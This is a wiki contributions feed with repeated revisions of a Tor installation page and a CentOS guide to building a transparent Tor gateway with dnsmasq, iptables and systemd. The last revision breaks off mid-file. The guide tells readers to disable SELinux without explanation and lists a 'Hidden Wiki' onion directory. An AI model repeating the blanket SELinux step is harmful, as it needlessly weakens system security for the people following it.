Leo's Notes - User contributions [en]

Tor

2015-08-18T07:01:06Z

10.1.1.3:

For detailed instructions on setting up and using TOR as part of a transparent proxy, see [[TOR_Transparent_Proxy]].

== Hidden Services ==
* Hidden Wiki - zqktlwi4fecvo6ri.onion

== Installation ==
=== FreeBSD ===

cd /usr/ports/security/tor
make config-recursive
make install clean

echo 'enable_tor="YES"' >> /etc/rc.conf
vi /usr/local/etc/tor/torrc

Put the following in your torrc file:

#
# Refer to https://www.torproject.org/docs/tor-manual.html.en
#

# Listen on localhost, using the default port of 9051
SocksPort 9051
SocksListenAddress 127.0.0.1

ORPort 9001

# Do not be an exit node
ExitPolicy reject *:*

BandwidthRate 10 MB
BandwidthBurst 100 MB

RunAsDaemon 1

ContactInfo tor@steamr.com

To start tor, run
/usr/local/etc/rc.d/tor start

Tor

2015-08-18T07:00:06Z

10.1.1.3:

For detailed instructions on setting up and using TOR as part of a transparent proxy, see [[TOR_Transparent_Proxy]].

== Hidden Services ==
* Hidden Wiki - zqktlwi4fecvo6ri.onion.to

=== Installation ===
== FreeBSD ==

cd /usr/ports/security/tor
make config-recursive
make install clean

echo 'enable_tor="YES"' >> /etc/rc.conf
vi /usr/local/etc/tor/torrc

Put the following in your torrc file:

#
# Refer to https://www.torproject.org/docs/tor-manual.html.en
#

# Listen on localhost, using the default port of 9051
SocksPort 9051
SocksListenAddress 127.0.0.1

ORPort 9001

# Do not be an exit node
ExitPolicy reject *:*

BandwidthRate 10 MB
BandwidthBurst 100 MB

RunAsDaemon 1

ContactInfo tor@steamr.com

To start tor, run
/usr/local/etc/rc.d/tor start

TOR Transparent Proxy

2015-08-18T05:34:56Z

10.1.1.3:

This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).

== Prerequisites ==
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.

The two networks will have the following configuration:

{| class="wikitable"
|-
! Description !! Interface !! Addresses
|-
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22
|-
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24
|}

This host will be the gateway for the internal TOR subnet.

== Installation ==
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/.

For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.

Install dnsmasq. Optionally, install Apache for your internal website.

Disable SELinux.

Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:
ip addr add 192.168.192.1/24 dev eno33554952

== Configuration ==

Create the dnsmasq.conf file:
<syntaxhighlight lang="text">
listen-address=192.168.192.1
port=53

strict-order
no-resolv

# Remote DNS server (this should go to TOR's DNS service)
# This is set to 1.1.1.1 which is routed by IPTables to TOR's service.
# DNSMasq does not allow you to set this to an internal IP address.
server=1.1.1.1

interface=eno33554952
address=/torified.wifi/192.168.192.1

dhcp-script=/scripts/dnsmasq_dhcp
dhcp-range=192.168.192.20,192.168.192.250,2h
dhcp-option=1,255.255.255.0
dhcp-option=6,192.168.192.1
dhcp-option=3,192.168.192.1

# This is the external (non TOR) network interface.
no-dhcp-interface=eno16777728

domain=torified.wifi
log-queries
log-dhcp

</syntaxhighlight>

Enable and start the TOR service.
systemctl enable dnsmasq
systemctl start dnsmasq

Create the torrc file containing: (/etc/tor/torrc)
<syntaxhighlight lang="text">
Log notice file /var/log/tor/notices.log
DataDirectory /var/lib/tor
VirtualAddrNetwork 10.192.0.0/10

TransPort 9040
TransListenAddress 192.168.192.1

DNSPort 5353
DNSListenAddress 192.168.192.1
AutomapHostsOnResolve 1
</syntaxhighlight>

As of this writing (version 0.2.6.10), the TOR package only has the old SystemV startup script and not the systemd service unit file. Create /usr/lib/systemd/system/tor.service containing:

<syntaxhighlight lang="text">
[Unit]
Description = Anonymizing overlay network for TCP
After = syslog.target network.target nss-lookup.target tor-firewall.service

[Service]
Type = simple
User = _tor
ExecStart = /usr/bin/tor --runasdaemon 0 -f /etc/tor/torrc --quiet
ExecReload = /bin/kill -HUP ${MAINPID}
ExecStop = /bin/kill -INT ${MAINPID}
TimeoutSec = 30
Restart = on-failure
LimitNOFILE = 4096

[Install]
WantedBy = multi-user.target
</syntaxhighlight>

Enable and start the TOR service.
systemctl enable tor.service
systemctl start tor.service

Create the firewall configuration script (firewall.sh):
<syntaxhighlight lang="bash">
#!/bin/sh

IPT=/usr/sbin/iptables
TOR_UID=998
TOR_NET=192.168.192.0/24
TOR_IF=eno33554952
OUT_IF=eno16777728

ip addr add 192.168.192.1/24 dev $TOR_IF

$IPT -F
$IPT -t nat -F

# Connections cannot be forwarded from one network to another.
$IPT -A FORWARD -i $TOR_IF -j REJECT

# Accept HTTP traffic for web service running on this host.
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT

# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT

# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353

# Client chain. Append clients who should have access to this chain.
$IPT -t nat -X tor_clients
$IPT -t nat -N tor_clients
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients

# Allow all clients to connect.
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040

# Allow a specific client to connect.
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040

# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT

# Allow web service
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT

# Allow this talking to internal network
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT

# Allow TOR
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT
$IPT -A OUTPUT -j LOG --log-prefix "drop: " --log-level 4
$IPT -A OUTPUT -j REJECT

</syntaxhighlight>

Run the firewall script above to set up IPTables.

The TOR gateway should now be operational.

Create a systemd service unit to execute the firewall script on startup. See [[Systemd]]

/usr/lib/systemd/system/tor-firewall.service
<syntaxhighlight lang="text">
[Unit]
Description=TOR Firewall
After=network.target
ConditionFileIsExecutable=/scripts/firewall.sh

[Service]
Type=oneshot
ExecStart=/scripts/firewall.sh
TimeoutSec=0
StandardOutput=tty
RemainAfterExit=yes
SysVStartPriority=99

[Install]
WantedBy=multi-user.target

</syntaxhighlight>
Enable the service so that it is triggered on startup.
systemctl enable tor-firewall

== Optional Services ==

You may want to set up a web portal to allow users to register in order to access the TOR network. Install apache and use the script in the wifi page.

You can make DNSMasq execute a script whenever there is a change in the DHCP lease. This is useful to automatically remove hosts from having access to TOR after the lease expires.
<syntaxhighlight lang="bash">
#!/bin/sh

if [ $# -ne 3 -a $# -ne 4 ] ; then
echo "Usage: dnsmasq_dhcp <add|del> <mac> <ip> [hostname]"
exit
fi

TOR_IF="eno33554952"
Action=$1
IP=$3

# We want to remove them when they lose their lease...
if [[ "$Action" = "del" ]] || [[ "$Action" = "old" ]] ; then
/sbin/iptables -t nat -D tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040
/sbin/iptables -t nat -D tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 5353
fi

</syntaxhighlight>

[[Category:Linux]]
[[Category:TOR]]

{{Navbox Linux}}

TOR Transparent Proxy

2015-08-18T05:03:56Z

10.1.1.3:

This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).

== Prerequisites ==
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.

The two networks will have the following configuration:

{| class="wikitable"
|-
! Description !! Interface !! Addresses
|-
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22
|-
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24
|}

This host will be the gateway for the internal TOR subnet.

== Installation ==
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/.

For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.

Install dnsmasq. Optionally, install Apache for your internal website.

Disable SELinux.

Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:
ip addr add 192.168.192.1/24 dev eno33554952

== Configuration ==

Create the dnsmasq.conf file:
<syntaxhighlight lang="text">
listen-address=192.168.192.1
port=53

strict-order
no-resolv

# Remote DNS server (this should go to TOR's DNS service)
# This is set to 1.1.1.1 which is routed by IPTables to TOR's service.
# DNSMasq does not allow you to set this to an internal IP address.
server=1.1.1.1

interface=eno33554952
address=/torified.wifi/192.168.192.1

dhcp-script=/scripts/dnsmasq_dhcp
dhcp-range=192.168.192.20,192.168.192.250,2h
dhcp-option=1,255.255.255.0
dhcp-option=6,192.168.192.1
dhcp-option=3,192.168.192.1

# This is the external (non TOR) network interface.
no-dhcp-interface=eno16777728

domain=torified.wifi
log-queries
log-dhcp

</syntaxhighlight>

Enable and start the TOR service.
systemctl enable dnsmasq
systemctl start dnsmasq

Create the torrc file containing: (/etc/tor/torrc)
<syntaxhighlight lang="text">
Log notice file /var/log/tor/notices.log
DataDirectory /var/lib/tor
VirtualAddrNetwork 10.192.0.0/10

TransPort 9040
TransListenAddress 192.168.192.1

DNSPort 5353
DNSListenAddress 192.168.192.1
AutomapHostsOnResolve 1
</syntaxhighlight>

As of this writing (version 0.2.6.10), the TOR package only has the old SystemV startup script and not the systemd service unit file. Create /usr/lib/systemd/system/tor.service containing:

<syntaxhighlight lang="text">
[Unit]
Description = Anonymizing overlay network for TCP
After = syslog.target network.target nss-lookup.target

[Service]
Type = simple
User = _tor
ExecStart = /usr/bin/tor --runasdaemon 0 -f /etc/tor/torrc --quiet
ExecReload = /bin/kill -HUP ${MAINPID}
ExecStop = /bin/kill -INT ${MAINPID}
TimeoutSec = 30
Restart = on-failure
LimitNOFILE = 4096

[Install]
WantedBy = multi-user.target
</syntaxhighlight>

Enable and start the TOR service.
systemctl enable tor.service
systemctl start tor.service

Create the firewall configuration script (firewall.sh):
<syntaxhighlight lang="bash">
#!/bin/sh

IPT=/usr/sbin/iptables
TOR_UID=998
TOR_NET=192.168.192.0/24
TOR_IF=eno33554952
OUT_IF=eno16777728

$IPT -F
$IPT -t nat -F

# Connections cannot be forwarded from one network to another.
$IPT -A FORWARD -i $TOR_IF -j REJECT

# Accept HTTP traffic for web service running on this host.
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT

# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT

# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353

# Client chain. Append clients who should have access to this chain.
$IPT -t nat -X tor_clients
$IPT -t nat -N tor_clients
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients

# Allow all clients to connect.
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040

# Allow a specific client to connect.
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040

# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT

# Allow web service
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT

# Allow this talking to internal network
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT

# Allow TOR
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT
$IPT -A OUTPUT -j LOG --log-prefix "drop: " --log-level 4
$IPT -A OUTPUT -j REJECT

</syntaxhighlight>

Run the firewall script above to set up IPTables.

The TOR gateway should now be operational.

Create a systemd service unit to execute the firewall script on startup. See [[Systemd]]

/usr/lib/systemd/system/tor-firewall.service
<syntaxhighlight lang="text">
[Unit]
Description=TOR Firewall
After=network.target
ConditionFileIsExecutable=/scripts/firewall.sh

[Service]
Type=oneshot
ExecStart=/scripts/firewall.sh
TimeoutSec=0
StandardOutput=tty
RemainAfterExit=yes
SysVStartPriority=99

[Install]
WantedBy=multi-user.target

</syntaxhighlight>
Enable the service so that it is triggered on startup.
systemctl enable tor-firewall

== Optional Services ==

You may want to set up a web portal to allow users to register in order to access the TOR network. Install apache and use the script in the wifi page.

You can make DNSMasq execute a script whenever there is a change in the DHCP lease. This is useful to automatically remove hosts from having access to TOR after the lease expires.
<syntaxhighlight lang="bash">
#!/bin/sh

if [ $# -ne 3 -a $# -ne 4 ] ; then
echo "Usage: dnsmasq_dhcp <add|del> <mac> <ip> [hostname]"
exit
fi

TOR_IF="eno33554952"
Action=$1
IP=$3

# We want to remove them when they lose their lease...
if [[ "$Action" = "del" ]] || [[ "$Action" = "old" ]] ; then
/sbin/iptables -t nat -D tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040
/sbin/iptables -t nat -D tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 5353
fi

</syntaxhighlight>

[[Category:Linux]]
[[Category:TOR]]

{{Navbox Linux}}

Tor

2015-08-18T05:03:34Z

10.1.1.3:

For detailed instructions on setting up and using TOR as part of a transparent proxy, see [[TOR_Transparent_Proxy]].

== FreeBSD Installation ==

cd /usr/ports/security/tor
make config-recursive
make install clean

echo 'enable_tor="YES"' >> /etc/rc.conf
vi /usr/local/etc/tor/torrc

Put the following in your torrc file:

#
# Refer to https://www.torproject.org/docs/tor-manual.html.en
#

# Listen on localhost, using the default port of 9051
SocksPort 9051
SocksListenAddress 127.0.0.1

ORPort 9001

# Do not be an exit node
ExitPolicy reject *:*

BandwidthRate 10 MB
BandwidthBurst 100 MB

RunAsDaemon 1

ContactInfo tor@steamr.com

To start tor, run
/usr/local/etc/rc.d/tor start

TOR Transparent Proxy

2015-08-18T05:02:45Z

10.1.1.3:

This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).

== Prerequisites ==
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.

The two networks will have the following configuration:

{| class="wikitable"
|-
! Description !! Interface !! Addresses
|-
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22
|-
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24
|}

This host will be the gateway for the internal TOR subnet.

== Installation ==
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/.

For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.

Install dnsmasq. Optionally, install Apache for your internal website.

Disable SELinux.

Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:
ip addr add 192.168.192.1/24 dev eno33554952

== Configuration ==

Create the dnsmasq.conf file:
<syntaxhighlight lang="text">
listen-address=192.168.192.1
port=53

strict-order
no-resolv

# Remote DNS server (this should go to TOR's DNS service)
# This is set to 1.1.1.1 which is routed by IPTables to TOR's service.
# DNSMasq does not allow you to set this to an internal IP address.
server=1.1.1.1

interface=eno33554952
address=/torified.wifi/192.168.192.1

dhcp-script=/scripts/dnsmasq_dhcp
dhcp-range=192.168.192.20,192.168.192.250,2h
dhcp-option=1,255.255.255.0
dhcp-option=6,192.168.192.1
dhcp-option=3,192.168.192.1

# This is the external (non TOR) network interface.
no-dhcp-interface=eno16777728

domain=torified.wifi
log-queries
log-dhcp

</syntaxhighlight>

Enable and start the TOR service.
systemctl enable dnsmasq
systemctl start dnsmasq

Create the torrc file containing: (/etc/tor/torrc)
<syntaxhighlight lang="text">
Log notice file /var/log/tor/notices.log
DataDirectory /var/lib/tor
VirtualAddrNetwork 10.192.0.0/10

TransPort 9040
TransListenAddress 192.168.192.1

DNSPort 5353
DNSListenAddress 192.168.192.1
AutomapHostsOnResolve 1
</syntaxhighlight>

As of this writing (version 0.2.6.10), the TOR package only has the old SystemV startup script and not the systemd service unit file. Create /usr/lib/systemd/system/tor.service containing:

<syntaxhighlight lang="text">
[Unit]
Description = Anonymizing overlay network for TCP
After = syslog.target network.target nss-lookup.target

[Service]
Type = simple
User = _tor
ExecStart = /usr/bin/tor --runasdaemon 0 -f /etc/tor/torrc --quiet
ExecReload = /bin/kill -HUP ${MAINPID}
ExecStop = /bin/kill -INT ${MAINPID}
TimeoutSec = 30
Restart = on-failure
LimitNOFILE = 4096

[Install]
WantedBy = multi-user.target
</syntaxhighlight>

Enable and start the TOR service.
systemctl enable tor.service
systemctl start tor.service

Create the firewall configuration script (firewall.sh):
<syntaxhighlight lang="bash">
#!/bin/sh

IPT=/usr/sbin/iptables
TOR_UID=998
TOR_NET=192.168.192.0/24
TOR_IF=eno33554952
OUT_IF=eno16777728

$IPT -F
$IPT -t nat -F

# Connections cannot be forwarded from one network to another.
$IPT -A FORWARD -i $TOR_IF -j REJECT

# Accept HTTP traffic for web service running on this host.
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT

# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT

# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353

# Client chain. Append clients who should have access to this chain.
$IPT -t nat -X tor_clients
$IPT -t nat -N tor_clients
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients

# Allow all clients to connect.
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040

# Allow a specific client to connect.
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040

# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT

# Allow web service
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT

# Allow this talking to internal network
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT

# Allow TOR
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT
$IPT -A OUTPUT -j LOG --log-prefix "drop: " --log-level 4
$IPT -A OUTPUT -j REJECT

</syntaxhighlight>

Run the firewall script above to set up IPTables.

The TOR gateway should now be operational.

Create a systemd service unit to execute the firewall script on startup. See [[Systemd]]

/usr/lib/systemd/system/tor-firewall.service
<syntaxhighlight lang="text">
[Unit]
Description=TOR Firewall
After=network.target
ConditionFileIsExecutable=/scripts/firewall.sh

[Service]
Type=oneshot
ExecStart=/scripts/firewall.sh
TimeoutSec=0
StandardOutput=tty
RemainAfterExit=yes
SysVStartPriority=99

[Install]
WantedBy=multi-user.target

</syntaxhighlight>
Enable the service so that it is triggered on startup.
systemctl enable tor-firewall

== Optional Services ==

You may want to set up a web portal to allow users to register in order to access the TOR network. Install apache and use the script in the wifi page.

You can make DNSMasq execute a script whenever there is a change in the DHCP lease. This is useful to automatically remove hosts from having access to TOR after the lease expires.
<syntaxhighlight lang="bash">
#!/bin/sh

if [ $# -ne 3 -a $# -ne 4 ] ; then
echo "Usage: dnsmasq_dhcp <add|del> <mac> <ip> [hostname]"
exit
fi

TOR_IF="eno33554952"
Action=$1
IP=$3

# We want to remove them when they lose their lease...
if [[ "$Action" = "del" ]] || [[ "$Action" = "old" ]] ; then
/sbin/iptables -t nat -D tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040
/sbin/iptables -t nat -D tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 5353
fi

</syntaxhighlight>

[[Category:Linux]]
[[Category:TOR]]

TOR Transparent Proxy

2015-08-17T08:13:41Z

10.1.1.3:

This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).

== Prerequisites ==
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.

The two networks will have the following configuration:

{| class="wikitable"
|-
! Description !! Interface !! Addresses
|-
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22
|-
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24
|}

This host will be the gateway for the internal TOR subnet.

== Installation ==
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/.

For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.

Install dnsmasq. Optionally, install Apache for your internal website.

Disable SELinux.

Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:
ip addr add 192.168.192.1/24 dev eno33554952

== Configuration ==

Create the dnsmasq.conf file:
<syntaxhighlight lang="text">
listen-address=192.168.192.1
port=53

strict-order
no-resolv

# Remote DNS server (this should go to TOR's DNS service)
# This is set to 1.1.1.1 which is routed by IPTables to TOR's service.
# DNSMasq does not allow you to set this to an internal IP address.
server=1.1.1.1

interface=eno33554952
address=/torified.wifi/192.168.192.1

dhcp-script=/scripts/dnsmasq_dhcp
dhcp-range=192.168.192.20,192.168.192.250,2h
dhcp-option=1,255.255.255.0
dhcp-option=6,192.168.192.1
dhcp-option=3,192.168.192.1

# This is the external (non TOR) network interface.
no-dhcp-interface=eno16777728

domain=torified.wifi
log-queries
log-dhcp

</syntaxhighlight>

Enable and start the TOR service.
systemctl enable dnsmasq
systemctl start dnsmasq

Create the torrc file containing: (/etc/tor/torrc)
<syntaxhighlight lang="text">
Log notice file /var/log/tor/notices.log
DataDirectory /var/lib/tor
VirtualAddrNetwork 10.192.0.0/10

TransPort 9040
TransListenAddress 192.168.192.1

DNSPort 5353
DNSListenAddress 192.168.192.1
AutomapHostsOnResolve 1
</syntaxhighlight>

As of this writing (version 0.2.6.10), the TOR package only has the old SystemV startup script and not the systemd service unit file. Create /usr/lib/systemd/system/tor.service containing:

<syntaxhighlight lang="text">
[Unit]
Description = Anonymizing overlay network for TCP
After = syslog.target network.target nss-lookup.target

[Service]
Type = simple
User = _tor
ExecStart = /usr/bin/tor --runasdaemon 0 -f /etc/tor/torrc --quiet
ExecReload = /bin/kill -HUP ${MAINPID}
ExecStop = /bin/kill -INT ${MAINPID}
TimeoutSec = 30
Restart = on-failure
LimitNOFILE = 4096

[Install]
WantedBy = multi-user.target
</syntaxhighlight>

Enable and start the TOR service.
systemctl enable tor.service
systemctl start tor.service

Create the firewall configuration script (firewall.sh):
<syntaxhighlight lang="bash">
#!/bin/sh

IPT=/usr/sbin/iptables
TOR_UID=998
TOR_NET=192.168.192.0/24
TOR_IF=eno33554952
OUT_IF=eno16777728

$IPT -F
$IPT -t nat -F

# Connections cannot be forwarded from one network to another.
$IPT -A FORWARD -i $TOR_IF -j REJECT

# Accept HTTP traffic for web service running on this host.
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT

# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT

# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353

# Client chain. Append clients who should have access to this chain.
$IPT -t nat -X tor_clients
$IPT -t nat -N tor_clients
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients

# Allow all clients to connect.
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040

# Allow a specific client to connect.
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040

# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT

# Allow web service
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT

# Allow this talking to internal network
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT

# Allow TOR
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT
$IPT -A OUTPUT -j LOG --log-prefix "drop: " --log-level 4
$IPT -A OUTPUT -j REJECT

</syntaxhighlight>

Run the firewall script above to set up IPTables.

The TOR gateway should now be operational.

Create a systemd service unit to execute the firewall script on startup. See [[Systemd]]

== Optional Services ==

You may want to set up a web portal to allow users to register in order to access the TOR network. Install apache and use the script in the wifi page.

TOR Transparent Proxy

2015-08-17T08:09:53Z

10.1.1.3:

This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).

== Prerequisites ==
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.

The two networks will have the following configuration:

{| class="wikitable"
|-
! Description !! Interface !! Addresses
|-
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22
|-
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24
|}

This host will be the gateway for the internal TOR subnet.

== Installation ==
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/.

For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.

Install dnsmasq. Optionally, install Apache for your internal website.

Disable SELinux.

Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:
ip addr add 192.168.192.1/24 dev eno33554952

== Configuration ==

Create the dnsmasq.conf file:
<syntaxhighlight lang="text">
listen-address=192.168.192.1
port=53

strict-order
no-resolv

# Remote DNS server (this should go to TOR's DNS service)
# This is set to 1.1.1.1 which is routed by IPTables to TOR's service.
# DNSMasq does not allow you to set this to an internal IP address.
server=1.1.1.1

interface=eno33554952
address=/torified.wifi/192.168.192.1

dhcp-script=/scripts/dnsmasq_dhcp
dhcp-range=192.168.192.20,192.168.192.250,2h
dhcp-option=1,255.255.255.0
dhcp-option=6,192.168.192.1
dhcp-option=3,192.168.192.1

# This is the external (non TOR) network interface.
no-dhcp-interface=eno16777728

domain=torified.wifi
log-queries
log-dhcp

</syntaxhighlight>

Enable and start the TOR service.
systemctl enable dnsmasq
systemctl start dnsmasq

Create the torrc file containing: (/etc/tor/torrc)
<syntaxhighlight lang="text">
Log notice file /var/log/tor/notices.log
DataDirectory /var/lib/tor
VirtualAddrNetwork 10.192.0.0/10

TransPort 9040
TransListenAddress 192.168.192.1

DNSPort 5353
DNSListenAddress 192.168.192.1
AutomapHostsOnResolve 1
</syntaxhighlight>

As of this writing (version 0.2.6.10), the TOR package only has the old SystemV startup script and not the systemd service unit file. Create /usr/lib/systemd/system/tor.service containing:

<syntaxhighlight lang="text">
[Unit]
Description = Anonymizing overlay network for TCP
After = syslog.target network.target nss-lookup.target

[Service]
Type = simple
User = _tor
ExecStart = /usr/bin/tor --runasdaemon 0 -f /etc/tor/torrc --quiet
ExecReload = /bin/kill -HUP ${MAINPID}
